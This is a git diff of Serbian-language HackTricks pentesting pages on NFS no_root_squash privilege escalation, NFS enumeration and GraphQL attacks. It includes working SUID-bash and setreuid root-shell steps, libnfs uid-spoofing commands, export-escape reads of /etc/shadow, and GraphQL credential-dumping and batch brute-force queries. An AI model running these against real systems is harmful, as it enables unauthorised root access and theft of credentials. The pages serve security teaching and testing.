diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 0ae58a8cc..a7bb4586f 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,18 +1,29 @@ {{#include ../../banners/hacktricks-training.md}} -Pročitajte _ **/etc/exports** _ datoteku, ako pronađete neku direktoriju koja je konfigurisana kao **no_root_squash**, tada možete **pristupiti** toj direktoriji **kao klijent** i **pisati unutar** te direktorije **kao** da ste lokalni **root** mašine. +# Osnovne informacije o squashingu -**no_root_squash**: Ova opcija u suštini daje ovlašćenje root korisniku na klijentu da pristupi datotekama na NFS serveru kao root. I to može dovesti do ozbiljnih bezbednosnih implikacija. +NFS obično (posebno u linuxu) veruje u navedeni `uid` i `gid` od strane klijenta koji se povezuje za pristup datotekama (ako se ne koristi kerberos). Međutim, postoje neka podešavanja koja se mogu postaviti na serveru da **promene ovo ponašanje**: -**no_all_squash:** Ovo je slično **no_root_squash** opciji, ali se primenjuje na **ne-root korisnike**. Zamislite, imate shell kao nobody korisnik; proverili ste /etc/exports datoteku; opcija no_all_squash je prisutna; proverite /etc/passwd datoteku; emulirajte ne-root korisnika; kreirajte suid datoteku kao taj korisnik (montiranjem koristeći nfs). Izvršite suid kao nobody korisnik i postanite drugi korisnik. +- **`all_squash`**: Squashuje sve pristupe mapirajući svakog korisnika i grupu na **`nobody`** (65534 unsigned / -2 signed). Stoga, svako je `nobody` i nijedan korisnik se ne koristi. +- **`root_squash`/`no_all_squash`**: Ovo je podrazumevano na Linuxu i **samo squashuje pristup sa uid 0 (root)**. Stoga, svaki `UID` i `GID` se smatraju pouzdanim, ali `0` se squashuje na `nobody` (tako da nije moguća root impersonacija). +- **`no_root_squash`**: Ova konfiguracija, ako je omogućena, čak ni ne squashuje root korisnika. To znači da ako montirate direktorijum sa ovom konfiguracijom, možete mu pristupiti kao root. -# Privilege Escalation +U **/etc/exports** datoteci, ako pronađete neki direktorijum koji je konfigurisan kao **no_root_squash**, tada možete **pristupiti** njemu **kao klijent** i **pisati unutar** tog direktorijuma **kao** da ste lokalni **root** mašine. -## Remote Exploit +Za više informacija o **NFS** proverite: -Ako ste pronašli ovu ranjivost, možete je iskoristiti: +{{#ref}} +/network-services-pentesting/nfs-service-pentesting.md +{{#endref}} -- **Montiranje te direktorije** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle **/bin/bash** binarnu datoteku i davanje **SUID** prava, i **izvršavanje sa žrtvovane** mašine te bash binarne datoteke. +# Eskalacija privilegija + +## Daljinski exploit + +Opcija 1 koristeći bash: +- **Montiranje tog direktorijuma** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle **/bin/bash** binarnog fajla i davanje mu **SUID** prava, i **izvršavanje** tog bash binarnog fajla sa žrtvinske mašine. +- Imajte na umu da da biste bili root unutar NFS deljenja, **`no_root_squash`** mora biti konfigurisan na serveru. +- Međutim, ako nije omogućeno, mogli biste eskalirati na drugog korisnika kopirajući binarni fajl na NFS deljenje i dajući mu SUID dozvolu kao korisniku na kojeg želite da se eskalirate. ```bash #Attacker, as root user mkdir /tmp/pe @@ -25,7 +36,9 @@ chmod +s bash cd ./bash -p #ROOT shell ``` -- **Montiranje te direktorije** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle našeg kompajliranog payload-a koji će zloupotrebiti SUID dozvolu, dati mu **SUID** prava, i **izvršiti sa žrtvovane** mašine taj binarni fajl (ovde možete pronaći neke [C SUID payload-e](payloads-to-execute.md#c)). +Option 2 koristeći c kompajlirani kod: +- **Montiranje te direktorije** na klijentskoj mašini, i **kao root kopiranje** unutar montirane fascikle našeg kompajliranog payload-a koji će zloupotrebiti SUID dozvolu, dati mu **SUID** prava, i **izvršiti sa žrtvovane** mašine taj binarni fajl (možete pronaći ovde neke [C SUID payload-e](payloads-to-execute.md#c)). +- Iste restrikcije kao pre ```bash #Attacker, as root user gcc payload.c -o payload @@ -43,13 +56,13 @@ cd > [!NOTE] > Imajte na umu da ako možete da kreirate **tunel sa vašeg računara na računar žrtve, još uvek možete koristiti Remote verziju da iskoristite ovu eskalaciju privilegija tunelovanjem potrebnih portova**.\ -> Sledeći trik se koristi u slučaju da datoteka `/etc/exports` **ukazuje na IP**. U ovom slučaju **nećete moći da koristite** u bilo kom slučaju **remote exploit** i biće potrebno da **zloupotrebite ovaj trik**.\ -> Još jedan neophodan uslov za rad eksploata je da **izvoz unutar `/etc/export`** **mora koristiti `insecure` flag**.\ +> Sledeći trik se koristi u slučaju da datoteka `/etc/exports` **ukazuje na IP**. U ovom slučaju **nećete moći da koristite** u bilo kom slučaju **daljinski eksploit** i biće potrebno da **zloupotrebite ovaj trik**.\ +> Još jedan neophodan uslov za rad eksploita je da **izvoz unutar `/etc/export`** **mora koristiti `insecure` flag**.\ > --_Nisam siguran da li će ovaj trik raditi ako `/etc/export` ukazuje na IP adresu_-- ## Osnovne Informacije -Scenario uključuje eksploataciju montiranog NFS dela na lokalnom računaru, koristeći grešku u NFSv3 specifikaciji koja omogućava klijentu da specificira svoj uid/gid, potencijalno omogućavajući neovlašćen pristup. Eksploatacija uključuje korišćenje [libnfs](https://github.com/sahlberg/libnfs), biblioteke koja omogućava falsifikovanje NFS RPC poziva. +Scenario uključuje iskorišćavanje montiranog NFS dela na lokalnom računaru, koristeći grešku u NFSv3 specifikaciji koja omogućava klijentu da specificira svoj uid/gid, potencijalno omogućavajući neovlašćen pristup. Iskorišćavanje uključuje korišćenje [libnfs](https://github.com/sahlberg/libnfs), biblioteke koja omogućava falsifikovanje NFS RPC poziva. ### Kompilacija Biblioteke @@ -60,36 +73,31 @@ Koraci za kompilaciju biblioteke mogu zahtevati prilagođavanja u zavisnosti od make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -### Sprovođenje Eksploata +### Izvođenje Eksploata Eksploit uključuje kreiranje jednostavnog C programa (`pwn.c`) koji povećava privilegije na root i zatim izvršava shell. Program se kompajlira, a rezultantni binarni fajl (`a.out`) se postavlja na deljenje sa suid root, koristeći `ld_nfs.so` da lažira uid u RPC pozivima: 1. **Kompajlirajte kod eksploata:** - ```bash cat pwn.c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` - -2. **Postavite eksploat na deljenje i izmenite njegove dozvole lažiranjem uid-a:** - +2. **Postavite exploit na deljenje i izmenite njegove dozvole lažirajući uid:** ```bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` - -3. **Izvršite eksploat da dobijete root privilegije:** +3. **Izvršite eksploataciju da biste dobili root privilegije:** ```bash /mnt/share/a.out #root ``` +## Bonus: NFShell za prikriveni pristup datotekama -## Bonus: NFShell za Diskretni Pristup Fajlovima - -Kada se dobije root pristup, za interakciju sa NFS deljenjem bez promene vlasništva (da bi se izbegli tragovi), koristi se Python skripta (nfsh.py). Ova skripta prilagođava uid da odgovara onom fajlu koji se pristupa, omogućavajući interakciju sa fajlovima na deljenju bez problema sa dozvolama: +Kada se dobije root pristup, za interakciju sa NFS deljenjem bez promene vlasništva (da bi se izbegli tragovi), koristi se Python skripta (nfsh.py). Ova skripta prilagođava uid da odgovara onom datoteke koja se pristupa, omogućavajući interakciju sa datotekama na deljenju bez problema sa dozvolama: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index f29777a6c..eeed4b678 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -6,26 +6,63 @@ **NFS** je sistem dizajniran za **klijent/server** koji omogućava korisnicima da besprekorno pristupaju datotekama preko mreže kao da se te datoteke nalaze unutar lokalnog direktorijuma. -Značajan aspekt ovog protokola je njegov nedostatak ugrađenih **mehanizama autentifikacije** ili **autorizacije**. Umesto toga, autorizacija se oslanja na **informacije o datotečnom sistemu**, pri čemu je server zadužen za tačno prevođenje **informacija o korisniku koje pruža klijent** u potrebni **format autorizacije** datotečnog sistema, prvenstveno prateći **UNIX sintaksu**. - -Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstva u grupama**. Međutim, izazov nastaje zbog potencijalnog nesklada u **`UID`/`GID` mapiranjima** između klijenata i servera, ostavljajući bez prostora za dodatnu verifikaciju od strane servera. Kao rezultat, protokol je najbolje koristiti unutar **pouzdanih mreža**, s obzirom na to da se oslanja na ovu metodu autentifikacije. - -**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebni su samo TCP ili UDP). +**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebna je samo TCP ili UDP). ``` 2049/tcp open nfs 2-3 (RPC #100003 ``` +### Authentication + +Značajan aspekt ovog protokola je obično nedostatak ugrađenih **mehanizama autentifikacije** ili **autorizacije**. Umesto toga, autorizacija se oslanja na **informacije o fajl sistemu**, pri čemu je server zadužen za tačno prevođenje **informacija o korisniku koje pruža klijent** u potrebni **format autorizacije** fajl sistema, prvenstveno prateći **UNIX sintaksu**. + +Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstva u grupama**. Međutim, izazov nastaje zbog potencijalnog nesklada u **`UID`/`GID` mapiranjima** između klijenata i servera, ostavljajući bez prostora za dodatnu verifikaciju od strane servera. Štaviše, ovi detalji se šalju od strane klijenta i server im veruje, tako da zlonameran klijent može potencijalno **pretvarati se da je drugi korisnik šaljući privilegovanije `uid` i `gid`. + +**Međutim, imajte na umu da po defaultu nije moguće pretvarati se u `UID` 0 (root) koristeći NFS. Više o ovome u sekciji o squashing-u.** + +#### Hosts + +Za bolju (ili neku) autorizaciju, možete odrediti **hostove** koji mogu pristupiti NFS deljenju. To se može uraditi u Linux `/etc/exports` fajlu. Na primer: +``` +/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ... +/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i) +``` +As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share. + ### Verzije -- **NFSv2**: Ova verzija je prepoznata po širokoj kompatibilnosti sa raznim sistemima, označavajući njen značaj sa početnim operacijama pretežno preko UDP-a. Kao **najstarija** u seriji, postavila je temelje za buduće razvoj. +- **NFSv2**: Ova verzija je prepoznata po svojoj širokoj kompatibilnosti sa raznim sistemima, označavajući njen značaj sa početnim operacijama pretežno preko UDP-a. Kao **najstarija** u seriji, postavila je temelje za budući razvoj. - **NFSv3**: Uvedena sa nizom poboljšanja, NFSv3 je proširila svog prethodnika podržavajući promenljive veličine datoteka i nudeći poboljšane mehanizme izveštavanja o greškama. I pored svojih napredaka, suočila se sa ograničenjima u punoj unazadnoj kompatibilnosti sa NFSv2 klijentima. -- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, sposobnost prelaska kroz vatrozidove i rad preko Interneta bez potrebe za portmaperima, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njegova poboljšanja u performansama i usvajanje protokola zasnovanog na stanju izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka. +- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, mogućnost prolaska kroz vatrozide i rad preko Interneta bez potrebe za portmappers, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njegova poboljšanja u performansama i usvajanje protokola sa stanjem izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka. +- Imajte na umu da je veoma čudno pronaći Linux host NFS koji podržava kerberos autentifikaciju. Svaka verzija NFS-a je razvijena sa namerom da odgovori na evoluirajuće potrebe mrežnih okruženja, postepeno poboljšavajući sigurnost, kompatibilnost i performanse. +### Squashing + +Kao što je ranije pomenuto, NFS obično veruje `uid` i `gid` klijenta za pristup datotekama (ako se kerberos ne koristi). Međutim, postoje neka podešavanja koja se mogu postaviti na serveru da **promene ovo ponašanje**: + +- **all_squash**: Smanjuje sve pristupe mapirajući svakog korisnika i grupu na **`nobody`** (65534 unsigned / -2 signed). Stoga, svako je `nobody` i nijedan korisnik se ne koristi. +- **root_squash/no_all_squash**: Ovo je podrazumevano na Linuxu i **smanjuje samo pristup sa uid 0 (root)**. Stoga, svaki `UID` i `GID` su povereni, ali `0` se smanjuje na `nobody` (tako da nije moguća root impersonacija). +- **no_root_squash**: Ova konfiguracija, ako je omogućena, čak ne smanjuje ni root korisnika. To znači da ako montirate direktorijum sa ovom konfiguracijom, možete mu pristupiti kao root. + +### Provera podstabla + +Dostupno samo na Linuxu. man(5) exports kaže: "Ako je poddirektorijum datotečnog sistema izvezen, ali ceo datotečni sistem nije, onda kada stigne NFS zahtev, server mora proveriti ne samo da li je pristupna datoteka u odgovarajućem datotečnom sistemu (što je lako) već i da li je u izvezenom stablu (što je teže). Ova provera se naziva provera podstabla." + +Na Linuxu je **`subtree_check` funkcija onemogućena** po defaultu. + ## Enumeracija +### Showmount + +Ovo se može koristiti za **dobijanje informacija sa NFSv3 servera**, kao što su lista **izvozâ**, ko je **dozvoljen da pristupi** tim izvozima, i koji klijenti su povezani (što može biti netačno ako se klijent isključi bez obaveštavanja servera). +U **NFSv4 klijenti jednostavno direktno pristupaju / export** i pokušavaju da pristupe izvozima odatle, neuspešno ako je nevažeće ili neautorizovano iz bilo kog razloga. + +Ako alatke poput `showmount` ili Metasploit moduli ne prikazuju informacije sa NFS porta, to je potencijalno NFSv4 server koji ne podržava verziju 3. +```bash +showmount -e +``` ### Korisni nmap skripti ```bash nfs-ls #List NFS exports and check permissions @@ -36,9 +73,13 @@ nfs-statfs #Disk statistics and info from NFS share ```bash scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` -### Montiranje +### nfs_analyze -Da biste saznali **koju fasciklu** server ima **dostupnu** za montiranje, možete ga pitati koristeći: +Ovaj alat sa [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) može se koristiti za dobijanje mnogo podataka sa NFS servera kao što su **mounts**, podržane NFS verzije, povezane IP adrese, i čak da li je moguće **pobeći iz exports** u druge foldere u FS ili **da li je `no_root_squash` omogućen**. + +## Mounting + +Da biste saznali **koji folder** server ima **dostupan** za montiranje, možete ga pitati koristeći: ```bash showmount -e ``` @@ -53,11 +94,36 @@ Trebalo bi da navedete da **koristite verziju 2** jer nema **nikakvu** **autenti mkdir /mnt/new_back mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` -## Dozvole +## Napadi -Ako montirate folder koji sadrži **fajlove ili foldere koji su dostupni samo nekim korisnicima** (preko **UID**). Možete **napraviti** **lokalno** korisnika sa tim **UID** i koristeći tog **korisnika** moći ćete da **pristupite** fajlu/folderu. +### Verovanje UID i GID -## NSFShell +Naravno, jedini problem ovde je što po defaultu nije moguće imitirati root (`UID` 0). Međutim, moguće je imitirati bilo kog drugog korisnika ili ako je `no_root_squash` omogućen, možete takođe imitirati root. + +- Ako montirate folder koji sadrži **fajlove ili foldere koji su dostupni samo nekim korisnicima** (preko **UID**). Možete **napraviti** **lokalno** korisnika sa tim **UID** i koristeći tog **korisnika** moći ćete da **pristupite** fajlu/folderu. +- Alat **`fuse_nfs`** sa [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) će u suštini uvek slati potrebne UID i GID za pristup fajlovima. + +### SUID Eskalacija privilegija + +Proverite stranicu: + +{{#ref}} +/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +{{#endref}} + +### Bekstvo iz eksportovanih foldera + +U ovom [sjajnom članku](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) moguće je videti da je moguće **pobeći iz eksportovanih foldera da bi se pristupilo drugim folderima u FS**. + +Dakle, ako je eksportovan folder koji je **podfolder** **celog fajl sistema**, moguće je pristupiti fajlovima van eksportovanog foldera ako je **`subtree_check`** onemogućen. A on je **po defaultu onemogućen u Linuxu**. + +Na primer, ako NFS server eksportuje `/srv/` i `/var/` je u istom fajl sistemu, moguće je čitati logove iz `/var/log/` ili smestiti webshell u `/var/www/`. + +Štaviše, imajte na umu da je po defaultu samo root (0) korisnik zaštićen od imitacije (proverite odeljak Squash). Međutim, ako je fajl **u vlasništvu roota, ali grupa nije 0, moguće je pristupiti mu**. Na primer, fajl `/etc/shadow` je u vlasništvu roota, ali grupa je `shadow` (gid 42 na Debijanu). Dakle, moguće je pročitati ga po defaultu! + +Alat **`nfs_analyze`** sa [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) je napravljen da podrži ovaj napad protiv fajl sistema ext4, xfs, btrfs u verziji 3 (takođe bi trebalo da bude moguće u v4). + +### NSFShell Da biste lako listali, montirali i menjali UID i GID kako biste imali pristup fajlovima, možete koristiti [nfsshell](https://github.com/NetDirect/nfsshell). @@ -68,13 +134,13 @@ Da biste lako listali, montirali i menjali UID i GID kako biste imali pristup fa /etc/exports /etc/lib/nfs/etab ``` -### Opasne postavke +## Opasne postavke - **Dozvole za čitanje i pisanje (`rw`):** Ova postavka omogućava i čitanje i pisanje na datotečnom sistemu. Važno je razmotriti posledice davanja tako širokog pristupa. - **Korišćenje nesigurnih portova (`insecure`):** Kada je omogućeno, ovo omogućava sistemu da koristi portove iznad 1024. Bezbednost portova iznad ovog opsega može biti manje stroga, povećavajući rizik. -- **Vidljivost ugnježdenih datotečnih sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi datotečni sistem montiran ispod izvezenog direktorijuma. Svaki direktorijum zahteva svoj vlastiti izvozni unos za pravilno upravljanje. +- **Vidljivost ugnježdenih datotečnih sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi datotečni sistem montiran ispod izvezenog direktorijuma. Svakom direktorijumu je potrebna sopstvena izvozna stavka za pravilno upravljanje. - **Vlasništvo nad datotekama korisnika root (`no_root_squash`):** Sa ovom postavkom, datoteke koje kreira korisnik root zadržavaju svoj originalni UID/GID od 0, zanemarujući princip minimalnih privilegija i potencijalno dodeljujući prekomerne dozvole. diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 6c3d1a1df..62a16c314 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,11 +4,11 @@ ## Uvod -GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka da bi prikupio podatke, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa preuzimanja podataka. +GraphQL je **istaknut** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upit podataka sa backend-a. U poređenju sa REST-om, koji često zahteva brojne zahteve preko različitih krajnjih tačaka za prikupljanje podataka, GraphQL omogućava preuzimanje svih potrebnih informacija putem **jednog zahteva**. Ova pojednostavljenja značajno **pomažu programerima** smanjujući složenost njihovih procesa prikupljanja podataka. ## GraphQL i bezbednost -Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik. +Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna tačka koju treba napomenuti je da **GraphQL po defaultu ne uključuje mehanizme autentifikacije**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez pravilne autentifikacije, GraphQL krajnje tačke mogu izložiti osetljive informacije neautentifikovanim korisnicima, što predstavlja značajan bezbednosni rizik. ### Napadi brute force na direktorijume i GraphQL @@ -27,11 +27,11 @@ Identifikacija otvorenih GraphQL instanci omogućava ispitivanje podržanih upit ### Otisak -Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita. +Alat [**graphw00f**](https://github.com/dolevf/graphw00f) može da detektuje koji GraphQL engine se koristi na serveru i zatim ispisuje neke korisne informacije za bezbednosnog audita. #### Univerzalni upiti -Da bi se proverilo da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor uključuje `{"data": {"__typename": "Query"}}`, to potvrđuje da URL hostuje GraphQL krajnju tačku. Ova metoda se oslanja na GraphQL-ovo polje `__typename`, koje otkriva tip upitog objekta. +Da bi se proverilo da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor uključuje `{"data": {"__typename": "Query"}}`, to potvrđuje da URL hostuje GraphQL krajnju tačku. Ova metoda se oslanja na GraphQL-ovo polje `__typename`, koje otkriva tip upitnog objekta. ```javascript query{__typename} ``` @@ -45,13 +45,13 @@ Da biste koristili introspekciju za otkrivanje informacija o šemi, upitite polj ```bash query={__schema{types{name,fields{name}}}} ``` -Sa ovom upitom ćete pronaći imena svih tipova koji se koriste: +Sa ovom upitom ćete pronaći imena svih tipova koji se koriste: ![](<../../images/image (1036).png>) ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` -Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (kao i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka. +Sa ovom upitom možete izvući sve tipove, njihova polja i njihove argumente (i tip argumenata). Ovo će biti veoma korisno za razumevanje kako da upitujete bazu podataka. ![](<../../images/image (950).png>) @@ -180,7 +180,7 @@ Napomena da je tip upita "_flags_" "_Flags_", i ovaj objekat je definisan kao is ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -Možete videti da su objekti "_Flags_" sastavljeni od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom: +Možete videti da se objekti "_Flags_" sastoje od **name** i **value**. Zatim možete dobiti sve nazive i vrednosti zastavica sa upitom: ```javascript query={flags{name, value}} ``` @@ -204,14 +204,14 @@ Međutim, u ovom primeru, ako pokušate to da uradite, dobijate ovu **grešku**: Izgleda da će na neki način pretraživati koristeći argument "_**uid**_" tipa _**Int**_.\ U svakom slučaju, već smo to znali, u sekciji [Basic Enumeration](graphql.md#basic-enumeration) predložen je upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -Ako pročitate sliku koju sam priložio kada sam pokrenuo taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_. +Ako pročitate sliku koju sam priložio kada pokrenem taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_. -Dakle, vršeći lagani _**uid**_ bruteforce, otkrio sam da je za _**uid**=**1**_ dobijeno korisničko ime i lozinka:\ +Dakle, obavljajući lagani _**uid**_ bruteforce, otkrio sam da je za _**uid**=**1**_ dobijeno korisničko ime i lozinka:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) -Napomena da sam **otkrio** da mogu tražiti **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku: +Napomena da sam **otkrio** da mogu da tražim **parametre** "_**user**_" i "_**password**_" jer ako pokušam da tražim nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku: ![](<../../images/image (707).png>) @@ -219,11 +219,11 @@ I tokom **faze enumeracije** otkrio sam da objekat "_**dbuser**_" ima kao polja **Trik sa dump-ovanjem upitnog stringa (zahvaljujući @BinaryShadow\_)** -Ako možete pretraživati po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazni string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "**theusers**" po String polju nazvanom "**description**"_). +Ako možete da pretražujete po string tipu, kao: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **dump-ovati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete da pretražujete koristeći "**theusers**" po String polju nazvanom "**description**"_). ### Pretraga -U ovom podešavanju, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka. +U ovoj postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane po svom **emailu** i **imenu**; **filmovi** po svom **imenu** i **oceni**. **Osobe** mogu biti prijatelji jedni s drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka. Možete **pretraživati** osobe **po** **imenu** i dobiti njihove emailove: ```javascript @@ -334,12 +334,12 @@ releaseYear ``` ### Direktiva Preopterećenja -Kao što je objašnjeno u [**jednoj od ranjivosti opisane u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), direktiva preopterećenja podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši resurse dok nije moguće izvršiti DoS napad. +Kao što je objašnjeno u [**jednoj od ranjivosti opisane u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), preopterećenje direktive podrazumeva pozivanje direktive čak i milion puta kako bi se server naterao da troši operacije dok nije moguće izvršiti DoS napad. ### Grupisanje brute-force u 1 API zahtevu Ove informacije su preuzete sa [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Autentifikacija putem GraphQL API sa **istovremenim slanjem više upita sa različitim akreditivima** kako bi se proverilo. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog GraphQL grupisanja. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot koji pokušava da pogodi lozinke. +Autentifikacija putem GraphQL API sa **istovremenim slanjem mnogih upita sa različitim akreditivima** za proveru. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke po HTTP zahtevu zbog funkcije grupisanja GraphQL-a. Ovaj pristup bi prevario spoljne aplikacije za praćenje brzine misleći da je sve u redu i da ne postoji bot koji pokušava da pogodi lozinke. Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju aplikacije, sa **3 različita para email/lozinka u isto vreme**. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način: @@ -367,11 +367,11 @@ Da bi se zaobišle restrikcije na upite za introspekciju u API-jima, umetanje ** {queryType{name}}}" } ``` -Ako ne uspete, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve. +Ako ne uspe, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, pošto se ograničenja mogu primenjivati samo na POST zahteve. ### Pokušajte sa WebSockets -Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websockets-a otkrije šemu graphQL-a: +Kao što je pomenuto u [**ovom predavanju**](https://www.youtube.com/watch?v=tIo_t5uUK50), proverite da li bi moglo biti moguće povezati se na graphQL putem WebSockets, jer bi to moglo omogućiti da zaobiđete potencijalni WAF i da komunikacija putem websoketa otkrije šemu graphQL: ```javascript ws = new WebSocket("wss://target/graphql", "graphql-ws") ws.onopen = function start(event) { @@ -397,13 +397,13 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **Otkrivanje Izloženih GraphQL Struktura** -Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` tab u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su: +Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta za unapred učitane upite u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći `Sources` tab u alatima za programere, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za programere su: 